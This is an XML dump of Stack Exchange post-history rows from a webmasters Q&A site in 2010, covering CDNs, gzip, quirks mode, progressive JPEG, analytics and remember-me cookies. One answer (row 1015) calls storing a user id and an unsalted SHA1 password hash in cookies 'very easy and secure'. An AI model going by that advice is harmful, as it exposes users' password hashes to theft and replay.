  <row Id="1009" PostHistoryTypeId="2" PostId="563" RevisionGUID="8fbfcae4-938c-4104-a3ac-abb094fe6c81" CreationDate="2010-07-09T19:08:45.023" UserId="120" Text="**Here's my hitlist...**&#xD;&#xA;&#xD;&#xA; - [sitepoint.com][2]&#xD;&#xA; - [alistapart.com][1]&#xD;&#xA; - [This Site][3]&#xD;&#xA; - [w3schools.com][4]&#xD;&#xA; - [htmldog.com][5]&#xD;&#xA;&#xD;&#xA;Sitepoint is probably the closest online resource to what you're looking for.&#xD;&#xA;&#xD;&#xA;AListApart is geared more toward style and best practices but it also has a lot of articles about general website management, bleeding edge web technologies, and how to prepare for them.&#xD;&#xA;&#xD;&#xA;This site... Obligatory.&#xD;&#xA;&#xD;&#xA;The last two aren't specifically geared toward webmasters but, if your webmaster position has anything to do with writing/modifying code on the site you'll wish you had them.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/&#xD;&#xA;  [2]: http://www.sitepoint.com/&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/&#xD;&#xA;  [4]: http://www.w3schools.com/&#xD;&#xA;  [5]: http://www.htmldog.com/" />
  <row Id="1010" PostHistoryTypeId="2" PostId="564" RevisionGUID="553a59d9-272f-48be-9ea1-3274ffba100f" CreationDate="2010-07-09T19:11:56.107" UserId="26" Text="The alcoholic beverage industry in the United States self-regulates its promotional efforts. Here's a PDF titled [Self-Regulation in the Alcohol Industry][1] from the [Federal Trade Commission][2]:&#xD;&#xA;&#xD;&#xA;&gt; Underage alcohol use is a widespread&#xD;&#xA;&gt; problem with significant health and&#xD;&#xA;&gt; safety consequences. This is the third&#xD;&#xA;&gt; Federal Trade Commission report on&#xD;&#xA;&gt; efforts by the alcohol industry to&#xD;&#xA;&gt; reduce the likelihood that alcohol&#xD;&#xA;&gt; advertising will target youth, by its&#xD;&#xA;&gt; placement or content. This report&#xD;&#xA;&gt; provides data about how industry&#xD;&#xA;&gt; members allocate promotional dollars;&#xD;&#xA;&gt; data on compliance with the industry’s&#xD;&#xA;&gt; advertising placement standard&#xD;&#xA;&gt; (requiring that at least 70 percent of&#xD;&#xA;&gt; the audience for advertising consist&#xD;&#xA;&gt; of adults 21 and older); analysis of&#xD;&#xA;&gt; external review of advertising&#xD;&#xA;&gt; complaints; and an update on the FTC’s&#xD;&#xA;&gt; “We Don’t Serve Teens” campaign. The&#xD;&#xA;&gt; report is based on the responses to&#xD;&#xA;&gt; Special Orders issued to twelve major&#xD;&#xA;&gt; alcohol suppliers, comments submitted&#xD;&#xA;&gt; in response to two Federal Register&#xD;&#xA;&gt; notices, and discussions with a wide&#xD;&#xA;&gt; range of stakeholders. It provides&#xD;&#xA;&gt; alcohol supplier data in an aggregate&#xD;&#xA;&gt; or anonymous fashion.&#xD;&#xA;&#xD;&#xA;Basically, because of fallout from underage drinking, the industry makes an effort to place advertising only where 70% or more of the audience is adults 21 or older. Websites, as a promotional vehicle, need to assure that the audience for them is to an appropriate audience. They self-regulate as part of a long-term effort to assure that they are a responsible industry.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ftc.gov/os/2008/06/080626alcoholreport.pd&#xD;&#xA;  [2]: http://www.ftc.g" />
  <row Id="1011" PostHistoryTypeId="10" PostId="527" RevisionGUID="21689dd2-cc99-4b10-8ee9-49450321a467" CreationDate="2010-07-09T19:29:01.933" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;},{&quot;Id&quot;:200,&quot;DisplayName&quot;:&quot;Andres Jaan Tack&quot;},{&quot;Id&quot;:19,&quot;DisplayName&quot;:&quot;jessegavin&quot;},{&quot;Id&quot;:141,&quot;DisplayName&quot;:&quot;Andreas Bonini&quot;},{&quot;Id&quot;:42,&quot;DisplayName&quot;:&quot;Jim&quot;}]" />
  <row Id="1012" PostHistoryTypeId="2" PostId="565" RevisionGUID="e765d2cb-1905-4a29-934e-2c1bacb6397b" CreationDate="2010-07-09T19:29:22.027" UserId="19" Text="In most cases I like using cookies to remember returning users to my websites. &#xD;&#xA;&#xD;&#xA;In my early/foolish days, I would store a UserID (auto-increment integer) in a cookie and if the user returned I would use that cookie value to log them in automatically. This was a bad idea because someone could easily edit the cookie to use a different integer and log in as someone else.&#xD;&#xA;&#xD;&#xA;Is it ok to store a UserID in this same manner if the UserID is a GUID?&#xD;&#xA;&#xD;&#xA;What are the best practices for storing &quot;remember me&quot; cookies?" />
  <row Id="1013" PostHistoryTypeId="1" PostId="565" RevisionGUID="e765d2cb-1905-4a29-934e-2c1bacb6397b" CreationDate="2010-07-09T19:29:22.027" UserId="19" Text="How to use cookies in a secure manner to authenticate users?" />
  <row Id="1014" PostHistoryTypeId="3" PostId="565" RevisionGUID="e765d2cb-1905-4a29-934e-2c1bacb6397b" CreationDate="2010-07-09T19:29:22.027" UserId="19" Text="&lt;security&gt;&lt;best-practice&gt;&lt;authentication&gt;&lt;cookie&gt;" />
  <row Id="1015" PostHistoryTypeId="2" PostId="566" RevisionGUID="f5b0a956-231b-4a87-8ba8-d8d010611034" CreationDate="2010-07-09T19:38:40.927" UserId="141" Text="Save two cookies:&#xD;&#xA;&#xD;&#xA; * `UserId`: contains the user id&#xD;&#xA; * `Password`: contains the SHA1 of the user's password&#xD;&#xA;&#xD;&#xA;Very easy and secure. [Remember the HttpOnly attribute][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codinghorror.com/blog/2008/08/protecting-your-cookies-httponly.html" />
  <row Id="1016" PostHistoryTypeId="2" PostId="567" RevisionGUID="db070bbe-6483-4dec-91b0-aed4a29c8622" CreationDate="2010-07-09T19:46:13.157" UserId="213" Text="Including the www subdomain seems to boil down to two conditions.&#xD;&#xA;&#xD;&#xA; 1. **Cookies** - Will setting cookies at `*.example.com` cause me grief (incur more traffic) because the cookies will be sent with every request, regardless of subdomain. In this case I would opt to use the www since it gives me the choice of setting cookies at `*.exmaple.com` if I need it (ex. authenticated user cookie), or `www.example.com` to reduce traffic to my other subdomains.&#xD;&#xA;&#xD;&#xA; 2. **Aesthetic** - Do I care a lot about how the domain looks? If I really hate the www but am worried about the cookie traffic, I could alleviate the problem by hosting my static content on a whole new domain such as `static-example.com` which would remain cookie free." />
  <row Id="1017" PostHistoryTypeId="2" PostId="568" RevisionGUID="31285f1a-9818-4680-b410-7bb1a21ba8ed" CreationDate="2010-07-09T19:48:57.860" UserId="59" Text="If a page takes too long to load, after how long &amp;ndash; generally &amp;ndash; will a user give up and re-load or go elsewhere?  What studies have been done that measured page load time and user satisfaction or abandonment?" />
  <row Id="1018" PostHistoryTypeId="1" PostId="568" RevisionGUID="31285f1a-9818-4680-b410-7bb1a21ba8ed" CreationDate="2010-07-09T19:48:57.860" UserId="59" Text="If a page takes too long to load, after how long will a user give up and re-load or go elsewhere?" />
  <row Id="1019" PostHistoryTypeId="3" PostId="568" RevisionGUID="31285f1a-9818-4680-b410-7bb1a21ba8ed" CreationDate="2010-07-09T19:48:57.860" UserId="59" Text="&lt;performance&gt;&lt;load-time&gt;&lt;studies&gt;&lt;metrics&gt;" />
  <row Id="1020" PostHistoryTypeId="2" PostId="569" RevisionGUID="9ed5ac4c-a8eb-46c6-9ad3-369f1fb90e1f" CreationDate="2010-07-09T19:53:03.467" UserId="59" Text="What are some common optimizations performed to reduce HTML or XHTML page size?  Some that come to mind are:&#xD;&#xA;&#xD;&#xA; - removing comments,&#xD;&#xA; - removing extraneous whitespace,&#xD;&#xA; - moving repetitive inline styles to a CSS stylesheet,&#xD;&#xA; - etc.&#xD;&#xA;&#xD;&#xA;What are some others?  Which offer the biggest bang-for-the-buck or could be performed automatically by a tool or module?" />
  <row Id="1021" PostHistoryTypeId="1" PostId="569" RevisionGUID="9ed5ac4c-a8eb-46c6-9ad3-369f1fb90e1f" CreationDate="2010-07-09T19:53:03.467" UserId="59" Text="Common optimizations to reduce HTML or XHTML page size?" />
  <row Id="1022" PostHistoryTypeId="3" PostId="569" RevisionGUID="9ed5ac4c-a8eb-46c6-9ad3-369f1fb90e1f" CreationDate="2010-07-09T19:53:03.467" UserId="59" Text="&lt;optimization&gt;&lt;html&gt;&lt;performance&gt;&lt;xhtml&gt;&lt;page-size&gt;" />
  <row Id="1023" PostHistoryTypeId="2" PostId="570" RevisionGUID="353e2c43-7ec4-468c-968a-37f6f7a6a771" CreationDate="2010-07-09T19:56:50.417" UserId="19" Text="Someone is going to say that the markup should be Gzipped, so I might as well be the one.&#xD;&#xA;&#xD;&#xA;Here's a lengthy explanation of what [Gzip][1] is with links on how to set it up on [Apache][2] and [IIS][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://betterexplained.com/articles/how-to-optimize-your-site-with-gzip-compression/&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.0/mod/mod_deflate.html&#xD;&#xA;  [3]: http://technet.microsoft.com/en-us/library/cc771003(WS.10).aspx" />
  <row Id="1027" PostHistoryTypeId="2" PostId="572" RevisionGUID="d618cffc-f6d9-4785-8d40-b606f0fd3cf6" CreationDate="2010-07-09T20:02:31.980" UserId="59" Text="&#xD;&#xA;What is the difference between &quot;quirks&quot; mode and &quot;standards compliance&quot; mode, when building HTML web pages?&#xD;&#xA;&#xD;&#xA;How to tell when operating in one mode, vs. the other?  Why should people &amp;ndash; i.e. webmasters and web designers and developers &amp;ndash; care about choosing **standards compliance** mode over quirks mode?&#xD;&#xA;&#xD;&#xA;Is quirks mode ever justifiable when developing new content?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1028" PostHistoryTypeId="1" PostId="572" RevisionGUID="d618cffc-f6d9-4785-8d40-b606f0fd3cf6" CreationDate="2010-07-09T20:02:31.980" UserId="59" Text="HTML and &quot;quirks&quot; vs. &quot;standards compliance&quot; modes: Explain, and tell us why we should care?" />
  <row Id="1029" PostHistoryTypeId="3" PostId="572" RevisionGUID="d618cffc-f6d9-4785-8d40-b606f0fd3cf6" CreationDate="2010-07-09T20:02:31.980" UserId="59" Text="&lt;html&gt;&lt;xhtml&gt;&lt;standards&gt;&lt;quirks-mode&gt;" />
  <row Id="1030" PostHistoryTypeId="5" PostId="570" RevisionGUID="1c918e11-2d66-44f0-ab2b-0109790ef215" CreationDate="2010-07-09T20:03:16.877" UserId="19" Comment="added a bit about performance gains" Text="Someone is going to say that the markup should be Gzipped, so I might as well be the one.&#xD;&#xA;&#xD;&#xA;Here's a lengthy explanation of what [Gzip][1] is with links on how to set it up on [Apache][2] and [IIS][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;An [article on WebReference][4] states that you'll find the following performance gains when using the mod_gzip Apache module.&#xD;&#xA;&#xD;&#xA;&gt; Webmasters typically see a 150-160%&#xD;&#xA;&gt; increase in Web server performance,&#xD;&#xA;&gt; and a 70% - 80% reduction in&#xD;&#xA;&gt; HTML/XML/JavaScript bandwidth&#xD;&#xA;&gt; utilized, using this module. Overall&#xD;&#xA;&gt; the bandwidth savings are&#xD;&#xA;&gt; approximately 30 to 60%&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://betterexplained.com/articles/how-to-optimize-your-site-with-gzip-compression/&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.0/mod/mod_deflate.html&#xD;&#xA;  [3]: http://technet.microsoft.com/en-us/library/cc771003(WS.10).aspx&#xD;&#xA;  [4]: http://www.webreference.com/internet/software/servers/http/compression/2.html" />
  <row Id="1031" PostHistoryTypeId="5" PostId="564" RevisionGUID="a05500e6-8af7-45ae-9d74-e6539ebc3478" CreationDate="2010-07-09T20:03:54.783" UserId="26" Comment="added 3 characters in body" Text="The alcoholic beverage industry in the United States self-regulates its promotional efforts. Here's a PDF titled [Self-Regulation in the Alcohol Industry][1] from the [Federal Trade Commission][2]:&#xD;&#xA;&#xD;&#xA;&gt; Underage alcohol use is a widespread&#xD;&#xA;&gt; problem with significant health and&#xD;&#xA;&gt; safety consequences. This is the third&#xD;&#xA;&gt; Federal Trade Commission report on&#xD;&#xA;&gt; efforts by the alcohol industry to&#xD;&#xA;&gt; reduce the likelihood that alcohol&#xD;&#xA;&gt; advertising will target youth, by its&#xD;&#xA;&gt; placement or content. This report&#xD;&#xA;&gt; provides data about how industry&#xD;&#xA;&gt; members allocate promotional dollars;&#xD;&#xA;&gt; data on compliance with the industry’s&#xD;&#xA;&gt; advertising placement standard&#xD;&#xA;&gt; (requiring that at least 70 percent of&#xD;&#xA;&gt; the audience for advertising consist&#xD;&#xA;&gt; of adults 21 and older); analysis of&#xD;&#xA;&gt; external review of advertising&#xD;&#xA;&gt; complaints; and an update on the FTC’s&#xD;&#xA;&gt; “We Don’t Serve Teens” campaign. The&#xD;&#xA;&gt; report is based on the responses to&#xD;&#xA;&gt; Special Orders issued to twelve major&#xD;&#xA;&gt; alcohol suppliers, comments submitted&#xD;&#xA;&gt; in response to two Federal Register&#xD;&#xA;&gt; notices, and discussions with a wide&#xD;&#xA;&gt; range of stakeholders. It provides&#xD;&#xA;&gt; alcohol supplier data in an aggregate&#xD;&#xA;&gt; or anonymous fashion.&#xD;&#xA;&#xD;&#xA;Basically, because of fallout from underage drinking, the industry makes an effort to place advertising only where 70% or more of the audience is adults 21 or older. Websites, as a promotional vehicle, need to assure that the audience for them is to an appropriate audience. They self-regulate as part of a long-term effort to assure that they are a responsible industry.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ftc.gov/os/2008/06/080626alcoholreport.pdf&#xD;&#xA;  [2]: http://www.ftc.gov" />
  <row Id="1032" PostHistoryTypeId="2" PostId="573" RevisionGUID="de76de54-271b-495d-a8ff-503f8ff970b5" CreationDate="2010-07-09T20:09:56.017" UserId="40" Text="[Here][1] is probably the best article about quirks mode that I have found. I personally try to always use standard mode whenever possible since it has the best chances to work with the majority of browsers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quirksmode.org/css/quirksmode.html" />
  <row Id="1033" PostHistoryTypeId="2" PostId="574" RevisionGUID="fcd3aef4-f573-4dc9-a0be-233dba687754" CreationDate="2010-07-09T20:10:30.663" UserId="59" Text="&#xD;&#xA;When JPEG images are used by a web page, they are typically rendered top-down ... but they can also be rendered using a mode called **progressive JPEG**, where the image starts out **full-size**, but *blurry*, and then gets sharper with successive passes, until it's fully loaded.  **Progressive** loading requires the image have been saved that way.&#xD;&#xA;&#xD;&#xA;Why don't more web sites use progressive JPEG?  What are the drawbacks?  Is it simply a lack of tool support, or are these files somehow inferior to traditional top-down rendered JPEG images?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1034" PostHistoryTypeId="1" PostId="574" RevisionGUID="fcd3aef4-f573-4dc9-a0be-233dba687754" CreationDate="2010-07-09T20:10:30.663" UserId="59" Text="&quot;Progressive&quot; JPEG:  Why do many web sites avoid rendering JPEGs that way?  Pros, cons?" />
  <row Id="1035" PostHistoryTypeId="3" PostId="574" RevisionGUID="fcd3aef4-f573-4dc9-a0be-233dba687754" CreationDate="2010-07-09T20:10:30.663" UserId="59" Text="&lt;images&gt;&lt;jpeg&gt;" />
  <row Id="1036" PostHistoryTypeId="2" PostId="575" RevisionGUID="cee9c05f-d161-414a-afc6-54d10377db91" CreationDate="2010-07-09T20:21:57.953" UserId="26" Text="Progressive JPEG has has scattershot support since inception. The Wikipedia page on [JPEG][1] says:&#xD;&#xA;&#xD;&#xA;&gt; However, progressive JPEGs are not as&#xD;&#xA;&gt; widely supported, and even some&#xD;&#xA;&gt; software which does support them (such&#xD;&#xA;&gt; as some versions of Internet Explorer)&#xD;&#xA;&gt; only displays the image once it has&#xD;&#xA;&gt; been completely downloaded.&#xD;&#xA;&#xD;&#xA;I can't remember when I first avoided Progressive JPEG, but the most recent issue was that the image parsers in Flash (which can load PNGs, GIFs, and JPEGs) [can't load Progressive JPEG][2] either.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/JPEG&#xD;&#xA;  [2]: http://kb2.adobe.com/cps/163/tn_16389.html" />
  <row Id="1037" PostHistoryTypeId="2" PostId="576" RevisionGUID="b968b729-6083-4774-965d-a3e3a764398a" CreationDate="2010-07-09T20:28:14.040" UserId="213" Text="Jakob Nielsen has an excellent article, [Website Response Times][1] (June 21, 2010) in which he explains why website response times still matter.&#xD;&#xA;&#xD;&#xA;&gt; 0.1 seconds gives the feeling of instantaneous response — that is, the outcome feels like it was caused by the user, not the computer. This level of responsiveness is essential to support the feeling of direct manipulation (direct manipulation is one of the key GUI techniques to increase user engagement and control — for more about it, see our Principles of Interface Design seminar).&#xD;&#xA;&#xD;&#xA;&gt; 1 second keeps the user's flow of thought seamless. Users can sense a delay, and thus know the computer is generating the outcome, but they still feel in control of the overall experience and that they're moving freely rather than waiting on the computer. This degree of responsiveness is needed for good navigation.&#xD;&#xA;&#xD;&#xA;&gt; 10 seconds keeps the user's attention. From 1–10 seconds, users definitely feel at the mercy of the computer and wish it was faster, but they can handle it. After 10 seconds, they start thinking about other things, making it harder to get their brains back on track once the computer finally does respond.&#xD;&#xA;&#xD;&#xA;He cites his [Response Times: The 3 Important Limits][2] as coming from accepted research as old as 40 years.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.useit.com/alertbox/response-times.html&#xD;&#xA;  [2]: http://www.useit.com/papers/responsetime.html" />
  <row Id="1038" PostHistoryTypeId="2" PostId="577" RevisionGUID="2c791a18-3776-46e2-a6a7-2a47bca967dd" CreationDate="2010-07-09T20:34:52.180" UserId="59" Text="What exactly is a Content Delivery Network (CDN), how does it work, and why would I want to use one for my web site?  Which are the well-known CDNs out there?" />
  <row Id="1039" PostHistoryTypeId="1" PostId="577" RevisionGUID="2c791a18-3776-46e2-a6a7-2a47bca967dd" CreationDate="2010-07-09T20:34:52.180" UserId="59" Text="CDN - Content Delivery Networks.  How do they work and why would I want to use one?" />
  <row Id="1040" PostHistoryTypeId="3" PostId="577" RevisionGUID="2c791a18-3776-46e2-a6a7-2a47bca967dd" CreationDate="2010-07-09T20:34:52.180" UserId="59" Text="&lt;cdn&gt;" />
  <row Id="1041" PostHistoryTypeId="2" PostId="578" RevisionGUID="7183bfe0-b5a4-455d-acc5-98b2a35554fd" CreationDate="2010-07-09T20:48:29.043" UserId="42" Text="Are there any good resources out there for learning how to use analytics data?  &#xD;&#xA;&#xD;&#xA;I'd like to learn how to take the data and apply it practically to my site in order to make it a better experience for my visitors and ultimately increase conversions. &#xD;&#xA;&#xD;&#xA;Also, sometimes the significance of data is obvious (the more visits the better) but sometimes not so much, like a shorter time on site could potentially be a good thing if it means that a visitor found what they were looking for more quickly.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1042" PostHistoryTypeId="1" PostId="578" RevisionGUID="7183bfe0-b5a4-455d-acc5-98b2a35554fd" CreationDate="2010-07-09T20:48:29.043" UserId="42" Text="How to Make Sense of Analytics Data?" />
  <row Id="1043" PostHistoryTypeId="3" PostId="578" RevisionGUID="7183bfe0-b5a4-455d-acc5-98b2a35554fd" CreationDate="2010-07-09T20:48:29.043" UserId="42" Text="&lt;analytics&gt;&lt;google-analytics&gt;" />
  <row Id="1044" PostHistoryTypeId="2" PostId="579" RevisionGUID="93dd681a-842a-4488-8128-d47621d4d997" CreationDate="2010-07-09T20:52:34.370" UserId="40" Text="I am in particular concerned with legal implications due to strong privacy legislations. However, I was also thinking about performance and false results by users blocking it." />
  <row Id="1045" PostHistoryTypeId="1" PostId="579" RevisionGUID="93dd681a-842a-4488-8128-d47621d4d997" CreationDate="2010-07-09T20:52:34.370" UserId="40" Text="Are there any downsites of including google-analytics on your website?" />
  <row Id="1046" PostHistoryTypeId="3" PostId="579" RevisionGUID="93dd681a-842a-4488-8128-d47621d4d997" CreationDate="2010-07-09T20:52:34.370" UserId="40" Text="&lt;legal&gt;&lt;google-analytics&gt;&lt;usability&gt;" />
  <row Id="1047" PostHistoryTypeId="2" PostId="580" RevisionGUID="ab773e36-b33a-47ed-9511-0b62162efe1d" CreationDate="2010-07-09T20:53:06.897" UserId="214" Text="I use [Microsoft Visual Web Developer 2010 Express][1] (free, including for commercial use) :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/express/Downloads/#2010-Visual-Web-Developer" />
  <row Id="1048" PostHistoryTypeId="2" PostId="581" RevisionGUID="a31f2ce9-8dfc-4d15-b03d-a719f30f0adb" CreationDate="2010-07-09T20:53:36.863" UserId="141" Text="ok, a small one: keep tag names and attributes lowercase and consistent (as the standard mandates, by the way). It will increase the compression ratio by a percentage or two." />
  <row Id="1049" PostHistoryTypeId="5" PostId="408" RevisionGUID="58168891-61fc-4b0a-bf7c-87d28555c73d" CreationDate="2010-07-09T21:06:17.753" UserId="17" Comment="edited body" Text="I do not recommend building a site for a specific search engine. The key is to simply build your site to standard.&#xD;&#xA;&#xD;&#xA;Make sure your working to make your customers happy and the rest will follow. Happy customers and great beautifully marked up content will produce back links and indexable web pages.&#xD;&#xA;&#xD;&#xA;Yahoo, Google, or Bing the same rules apply. Use the right techniques and your golden.&#xD;&#xA;&#xD;&#xA;Might want to read &quot;Building Findable Websites&quot; by Arron Walter, http://buildingfindablewebsites.com/ " />
  <row Id="1050" PostHistoryTypeId="5" PostId="440" RevisionGUID="8ff72fd4-613c-4ef8-ba84-4f0a1074d953" CreationDate="2010-07-09T21:08:05.190" UserId="120" Comment="added 541 characters in body" Text="**[Matt Cutts' Blog][2] and [Sitepoint.com][1]**&#xD;&#xA;&#xD;&#xA;**Matt Cutts Blog** - Matt Cutts is the head of Google’s Webspam team so he definitely has a valuable inside perspective of how the Google webcrawler works. In the Blogosphere, what John Skeet is to C#, Matt Cutts is to SEO.&#xD;&#xA;&#xD;&#xA;**Sitepoint.com** - Sitepoint is more of a news site than a blog and it isn't directly geared toward SEO but it does a great job of covering all the bases. Some of the best articles found online about SEO can be found @ SitePoint. I highly recommend it.&#xD;&#xA;&#xD;&#xA;See:&#xD;&#xA;&#xD;&#xA; - [The Ultimate SEO Checklist][3].&#xD;&#xA; - [The Top 10 Google Myths Revealed][4] &#xD;&#xA; - [Secret Benefits of Search Engine Optimisation: Increased Usability][5]&#xD;&#xA;&#xD;&#xA;I could keep going adding more examples from SitePoint but I'd be up all night reading articles on Search Engine and Website Optimizations.&#xD;&#xA;&#xD;&#xA;If there was a de-facto authoritative news site for everything web (dev/publishing/webmaster) it would be SitePoint.&#xD;&#xA;&#xD;&#xA;**Update: Added Matt Cutts' blog.**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/type/googleseo/&#xD;&#xA;  [3]: http://articles.sitepoint.com/article/ultimate-seo-checklist&#xD;&#xA;  [4]: http://articles.sitepoint.com/article/top-10-google-myths-revealed&#xD;&#xA;  [5]: http://articles.sitepoint.com/article/increased-usability" />
  <row Id="1051" PostHistoryTypeId="2" PostId="582" RevisionGUID="6655def9-a0c1-437c-b80d-67535c6f97a1" CreationDate="2010-07-09T21:11:04.607" UserId="41" Text="Content Delivery Networks host copies of your content and serve it to your visitors from a server that's close to them. For example, if your images are served through a CDN, a visitor to your site transparently downloads the images from the CDN's server instead of yours.&#xD;&#xA;&#xD;&#xA;The two biggest reasons for using a CDN are reducing traffic/bandwidth on your server, and increasing delivery speed. A CDN acts as a cache: it downloads your content from your server once, and then delivers it to all visitors from its own servers instead of yours. A CDN will also have a large number of servers located around the globe, so they will be able to serve content to most visitors from a closer location than you could, and thus get it there faster.&#xD;&#xA;&#xD;&#xA;The two biggest CDNs I'm aware of are [Akamai][1] and [Limelight][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.akamai.com/&#xD;&#xA;  [2]: http://www.limelightnetworks.com/" />
  <row Id="1052" PostHistoryTypeId="2" PostId="583" RevisionGUID="8f14137c-0dd3-4dda-9eeb-9423292f060b" CreationDate="2010-07-09T21:11:45.010" UserId="36" Text="You should consider using [sessions][1] to handle this sort of scenario.&#xD;&#xA; &#xD;&#xA;Sessions generally work by generating a unique GUID for the user's authentication and saving it in a cookie on the user's local machine or passing it around, from page to page, through the URL.  &#xD;&#xA;&#xD;&#xA;This session GUID points to a file or database entry on the server that can then be read and written to by your source code, by associating the GUID in the user's cookie/URL with the GUID of the file or database entry that holds your data.  &#xD;&#xA;&#xD;&#xA;It's generally safe to put more sensitive data (such as the user ID) in sessions as nothing is visible to the end user except the session GUID.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Most web-based languages will have some sort of session management built in.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Session_%28computer_science%29#HTTP_session_token" />
  <row Id="1053" PostHistoryTypeId="2" PostId="584" RevisionGUID="63f81b90-7f33-498e-8077-cf58bf8688ba" CreationDate="2010-07-09T21:13:25.980" UserId="19" Text="[Wikipedia says it][1] well:&#xD;&#xA;&#xD;&#xA;&gt; A content delivery network or content&#xD;&#xA;&gt; distribution network (CDN) is a system&#xD;&#xA;&gt; of computers containing copies of&#xD;&#xA;&gt; data, placed at various points in a&#xD;&#xA;&gt; network so as to maximize bandwidth&#xD;&#xA;&gt; for access to the data from clients&#xD;&#xA;&gt; throughout the network. A client&#xD;&#xA;&gt; accesses a copy of the data near to&#xD;&#xA;&gt; the client, as opposed to all clients&#xD;&#xA;&gt; accessing the same central server, so&#xD;&#xA;&gt; as to avoid bottleneck near that&#xD;&#xA;&gt; server. &#xD;&#xA;&#xD;&#xA;&gt;Content types include web&#xD;&#xA;&gt; objects, downloadable objects (media&#xD;&#xA;&gt; files, software, documents),&#xD;&#xA;&gt; applications, real time media streams,&#xD;&#xA;&gt; and other components of internet&#xD;&#xA;&gt; delivery (DNS, routes, and database&#xD;&#xA;&gt; queries)&#xD;&#xA;&#xD;&#xA;Benefits  &#xD;&#xA;&#xD;&#xA; * Uptime&#xD;&#xA; * Download speed&#xD;&#xA; * File mirroring&#xD;&#xA; * [Faster page download perception][2]&#xD;&#xA;&#xD;&#xA;Common CDNs&#xD;&#xA;&#xD;&#xA; * [Amazon S3][3] is a CDN that I use and love.&#xD;&#xA; * [Cloud Files][4] by Rackspace &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Content_delivery_network#CDN_benefits&#xD;&#xA;  [2]: http://developer.yahoo.com/performance/rules.html#cdn&#xD;&#xA;  [3]: http://aws.amazon.com/s3/&#xD;&#xA;  [4]: http://www.rackspacecloud.com/cloud_hosting_products/files" />
  <row Id="1054" PostHistoryTypeId="2" PostId="585" RevisionGUID="2407c9fc-c904-45ac-8f97-271886df4270" CreationDate="2010-07-09T21:18:23.127" UserId="17" Text="I'm not a lawyer, take my advice as only that. You might want to speak to one about this issue.&#xD;&#xA;&#xD;&#xA;However, as long a you provide a good privacy policy on your site, normally in the footer of your site, you should be good to go.&#xD;&#xA;&#xD;&#xA;Also, as with all JavaScript, you want the benefits of your tracking to out weigh the costs. Basically, is the information producing profits over cost.&#xD;&#xA;&#xD;&#xA;Google analytics can slow your page load time, just like every element on your pages does.&#xD;&#xA;&#xD;&#xA;As far as false results go, there is not much you can do. The best thing to do is to really analyze the results you get back, over time. However, getting perfect data collection is not the point of tracking software. The software is made to help you make more objective decisions about your website. This is opposed to not having any data at all.&#xD;&#xA;&#xD;&#xA;The software is made to help you optimized your content and know what pages work best.&#xD;&#xA;&#xD;&#xA;Don't let numbers be the only thing you look at." />
  <row Id="1055" PostHistoryTypeId="5" PostId="584" RevisionGUID="d11d8772-c2e7-4996-bf7a-06ea4c613968" CreationDate="2010-07-09T21:18:52.207" UserId="19" Comment="formatting; added 153 characters in body" Text="##Definition##&#xD;&#xA;[Wikipedia says it][1] well:&#xD;&#xA;&#xD;&#xA;&gt; A content delivery network or content&#xD;&#xA;&gt; distribution network (CDN) is a system&#xD;&#xA;&gt; of computers containing copies of&#xD;&#xA;&gt; data, placed at various points in a&#xD;&#xA;&gt; network so as to maximize bandwidth&#xD;&#xA;&gt; for access to the data from clients&#xD;&#xA;&gt; throughout the network. A client&#xD;&#xA;&gt; accesses a copy of the data near to&#xD;&#xA;&gt; the client, as opposed to all clients&#xD;&#xA;&gt; accessing the same central server, so&#xD;&#xA;&gt; as to avoid bottleneck near that&#xD;&#xA;&gt; server. &#xD;&#xA;&#xD;&#xA;&gt;Content types include web&#xD;&#xA;&gt; objects, downloadable objects (media&#xD;&#xA;&gt; files, software, documents),&#xD;&#xA;&gt; applications, real time media streams,&#xD;&#xA;&gt; and other components of internet&#xD;&#xA;&gt; delivery (DNS, routes, and database&#xD;&#xA;&gt; queries)&#xD;&#xA;&#xD;&#xA;##Benefits##&#xD;&#xA;&#xD;&#xA; * Uptime&#xD;&#xA; * Download speed&#xD;&#xA; * File mirroring&#xD;&#xA; * [Faster page download perception][2]&#xD;&#xA;&#xD;&#xA;##Common CDNs##&#xD;&#xA;&#xD;&#xA; * [Amazon CloudFront][3] (in tandem with  [Amazon S3][4]) is a CDN that I use and love.&#xD;&#xA; * [Cloud Files][5] by Rackspace &#xD;&#xA; * [Longer list of free and paid CDNs at Wikipedia][6]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Content_delivery_network#CDN_benefits&#xD;&#xA;  [2]: http://developer.yahoo.com/performance/rules.html#cdn&#xD;&#xA;  [3]: http://aws.amazon.com/cloudfront/&#xD;&#xA;  [4]: http://aws.amazon.com/s3/&#xD;&#xA;  [5]: http://www.rackspacecloud.com/cloud_hosting_products/files&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Content_delivery_network#Content_delivery_service_providers" />
